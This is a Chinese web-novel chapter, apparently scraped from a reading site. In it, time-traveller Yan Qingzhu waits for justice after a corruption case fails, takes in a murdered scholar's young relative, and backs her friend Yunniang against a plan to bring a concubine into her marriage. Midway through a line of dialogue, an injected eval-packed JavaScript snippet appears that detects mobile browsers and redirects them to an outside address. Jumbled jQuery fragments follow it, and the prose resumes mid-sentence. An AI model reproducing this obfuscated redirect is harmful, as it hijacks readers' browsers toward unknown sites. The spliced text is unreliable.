默认冷灰
24号文字
方正启体

11. 等待时机

作者:归云何寄本书字数:K更新时间:
    晏青竹妥协的说道,“我带你们到密室,我就回去。”


    他们跟着晏青竹会了后院的花园,而假山后面的那道门竟已经是打开的,晏青竹心下一沉,想冲进去看看,燕鸿声拉住了她的手臂。


    转眼,里面传出了细碎的脚步声,还伴随着拖拽的声音,燕鸿声拉着晏青竹,和魏伯宁躲在假山后,却只见裴申一人出来,手里还捏着一张纸,不知上面写着什么。


    裴申走后,燕鸿声却笃定道,“不用去了,人一定被他转移了,先回去吧。”几人回了鹊桥仙,魏伯宁才知道王殊受了伤,便顾不上其他,着急的去看王殊。


    燕鸿声和晏青也跟在后面,去了王殊那里。看见是他们几人一起回来的王殊,也放了心,问着他们,“西县的情况怎么样,可有查到些什么。”


    魏伯宁沮丧不已,“宫中一定还有他的力量,撤的很干净,什么也没发现。现在顾松柏也不见了,接下来,我们怎么办。”


    几人愁眉不展时,无边匆忙的跑了进来,“公子,太子殿下找您,请你速回东宫。”燕鸿声听完,便知是陛下找他,当即就回了东宫,并嘱咐他们等他回来再说。”


    晏青竹看着燕鸿声被太子殿下召见,还以为是太子殿下有办法了,心里也放松了些。但足足等了两个时辰,才见无边回来,在他身后却没看到燕鸿声。


    晏青竹顾不上问燕鸿声,看向无边,“怎么样,太子殿下怎么说。”


    无边眉宇凝重,顿了顿,才艰难的开口,“裴申去找了陛下,拿着顾松柏的口供,裴申赢了。”话音刚落,魏伯宁听不下后面的话,骑着马就往宫里奔去。


    晏青竹看向窗外皎洁的明月,直到这一刻,她才真正感受到自己所处的时代,一个封建帝国,百姓的生死如此的不关轻重,高官显宦的罪名也能如此轻易的洗刷,这些都压得她喘不过气来。


    晏青竹平复着心情,现在不是伤春悲秋的时候,他们一定会将真凶绳之以法。


    夜晚,有人给她送来一封信,信里写道,“切勿冲动,等待时机。”落款是宏升,她烧了信,心里也有了底。


    东宫,燕鸿声被罚了禁闭。


    白日,他赶回去时,裴申已经得意洋洋的走出了大殿,他进去,就是一连串的骂声,没什么新意,无非是被骂了不中用,连这点小事都办不好之类。


    挨了骂,便让他回东宫思过去。


    虽然这件事,没有了结果,但最起码令陛下对裴申生了疑,陛下早晚会生了对付裴申的意思,到时候,只需顺水推舟即可。


    三日后,一切都好像恢复了正常,街上鲜少有人再讨论着探花郎,就好像他从没来过这世上一般。


    鹊桥仙的经营也如往常,这日,门外来了一个扎着两个丸子头,约莫十五六岁大的女孩,晏青竹本以为是迷路的孩子,奈何她还没说话,便听见那女孩说


    “你知道探花郎家在哪里吗,我问了一路,他们都支支吾吾的不肯说”说着。还有点沮丧的低下了头。


    晏青竹答非所问,“你不是京城的吗,你是从哪来的呀?”


    “我是西县下面的谢家村来的,我叫谢成瑜。”


    晏青竹听到谢字,心里便起了波澜,继续追问道,“那你和谢桥是同乡?”


    “桥哥哥是我姐夫”谢成瑜稚嫩的脸庞,挂着自豪的笑容。


    看着她的脸,晏青竹突然很不忍心告诉她真相。


    她到底要怎么说,说自己的姐姐和姐夫被无辜冤死,还背上了不清不楚的骂名。还是说他们明知罪魁祸首是谁,却只能眼睁睁的看着他逍遥法外。晏青竹不断的强调要克制住,才勉强没有当场留下眼泪,和谢成安说道,“你来京城是要投奔他们?”


    “我长大了,我可以在京城干活了,我要努力的赚银子,把爹娘都接到京城。”谢成安还是孩子心性,如白纸般单纯。


    晏青竹笑着和他说,“成瑜,我和谢桥是非常好的朋友,不如你就在鹊桥仙住下,正好我也缺你这么个跑堂的,你谢桥哥哥他们外出了,一时半会回不来,你看这样好不好?”


    谢成瑜听到这些,又激动又担忧,想了好半天才说道,“真的不会给姐姐你添麻烦吗?”


    晏青竹温柔的看向她,摸了摸她的头,“不会的,我很需要你的,我也会写信告诉你姐姐他们,这样可以吗?”


    谢成瑜用亮晶晶的眼睛望着她,努力的点了点头,又说,“我一定会很努力的。”


    晏青竹不忍看她那双眼睛,便转过身去,叫海棠带她去了后院住下。又勒令全店的人,不许提探花郎的事。


    为今之计,只盼能瞒多久是多久了。


    日子一天天的翻过,晏青竹又成了拼命三娘,每日都忙着鹊桥仙的事,好像只有让自己忙起来,她才能稍稍忘却谢桥的事。


    他们现在能做的唯一的事就是等。


    今日和往常一样,鹊桥仙仍是人山人海,芸娘却突然找上了门,自从芸娘和周三郎成亲后,晏青竹便许她在家制曲,只需一旬派人到鹊桥仙送一次乐谱即可。


    可今日,芸娘竟亲自登门,晏青竹心里便有些打鼓,是不是芸娘出了什么事。芸娘看见晏青竹眼眶便红了,晏青竹眉头立刻皱紧,“周三郎欺负你了?”


    “不是的,阿月,我是想与你说说,这次的曲子我可能得稍晚些才能给了。我这次实在没什么想法,我好像做不出来曲子了。”


    晏青竹也察觉到她心情不好,安慰道,“芸娘,别太为难自己,一时的灵感枯竭也是正常的,你那么有才华,歇一段时间也好,你不用有压力,工钱我会照付的。”


    “阿月,谢谢你。”


    晏青竹看着她一副欲言又止的样子,又说道,“芸娘,你是不是有什么心事,不妨与我说说。”


    芸娘支支吾吾了半天,才勉强开了口,“因我一直未有身孕,婆母想要为三郎纳妾,我心里是不想同意的,可我又担心会传出个善妒的名声,阿月,这是我的错吗?”芸娘的眼神充满了不解。


    说着,芸娘又拿起手帕擦着泪,晏青竹又一次对封建时代产生了厌恶,这要放现代,已经犯重婚罪了,可是在古代,这样的旧俗仍禁锢着所有的女子。


    她不知如何劝芸娘,而她是否又能真的经得住对抗封建所背负的骂名,这绝不是轻飘飘的一句话所能改变的,可是她仍希望芸娘能不在意外人的看法,勇敢的为自己活一次,思虑再三,晏青竹还是说道,“芸娘,我支持你,别管旁人如何看待,不争


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189966|165557||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    取一次又怎能甘愿放弃。”


    芸娘看着这坚定又闪亮的眼神,好似前方的光亮照在了她身上,她被不由自主的感染了,她擦干了眼泪,对着晏青竹说,“阿月,我试上一试。”


    回了周府,芸娘便与婆母表明了态度,果不其然,招来一顿教训,可她竟觉得如此动听,这一句句教她恪守女诫的教训,从来都如一把枷锁禁锢着她,她从不知,枷锁的之外是如此辽阔的天空。


    周夫人还在一旁喋喋不休,甚至说道,“芸娘,怕不是那鹊桥仙的东家又给你灌了什么迷魂汤,让你如此忤逆我,你跟她不一样,人家是宰相的女儿,自是有想做什么就能做的底气,可你呢,你就是个卖艺的,认清自己的身份。要不是三郎当初非你不娶,你以为你能嫁进周家。”


    周夫人说的每句话,都犹如一把尖刀,刺向芸娘,她知道周家从来都看不起她,可直到如今,她真实感受到她和周三郎之间的差距。等到周夫人说累了,她便回道,“纳妾的事,你可以和你儿子商量,如果他同意纳妾,我自会与他合离,从此一别两宽。”


    说完,她不再听着后面的咆哮,转身了回了房里。


    夜晚,躺在床上的晏青竹还在思考着白天的事,白天芸娘的话,让她久久不能忘怀,之前她一直想的只是自己能在这个时代活下来就好,只要能平安就好,可是现在,真正的融入了这个时代,交了那么多的朋友。


    她和这个时代已经有了不可分离的羁绊,她心中有个隐隐的念头在脑海里游荡—她想改变这个时代,哪怕只有一点也是好的,她想让芸娘这样的女子能再少一些,她想要的变多了。


    可一想到,她现在还是个冒名顶替的家伙,她就又将所有的念头都打消了,她连生存都还是问题,又何谈改变这个时代。她用双手拍打着脸,并告诫自己清醒一点,良久,才沉沉的睡去了。


    第二日,果不其然,芸娘的事传遍了大街小巷,正所谓,好事不出门,坏事传千里。晏青竹有点气愤,每每这个时候那个坐享渔翁之利的男人总是不处于舆论的中心,明明他才是那个既得利益者。


    晏青竹找上了周三郎,一进周家店铺,晏青竹便叫周三郎滚出来。


    周三郎好似还不知发生了什么,问道,“晏店主,这是什么意思?”


    晏青竹更替芸娘生气,气冲冲的说道,“你母亲要给芸娘纳妾,你听说了吗?”


    周三郎脸色一变,说道,“什么时候,母亲从未与我说过,芸娘也未与我说过。”


    “那你现在知道了,打算怎么做?”晏青竹看他好像真的不知情,语气才放缓。


    “我会与母亲说清楚的,我此生都不会纳妾。”


    晏青竹又追问道,“如果芸娘真的不能为你生下一儿半女,你也不会纳妾吗?”


    “是否有孩子对我来说不重要,只要有芸娘便好。”


    晏青竹一向对男人的承诺不感冒,又说道,“不论如何,你要是有半点对不住芸娘,我鹊桥仙不会放过你。”


    周三郎急着回家,匆匆说完后便告辞了。


    不出两日,街上的流言蜚语便少了许多,晏青竹一半高兴一半又难过,难过这个男权社会,男子的话语权总是比女子高出那么多。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)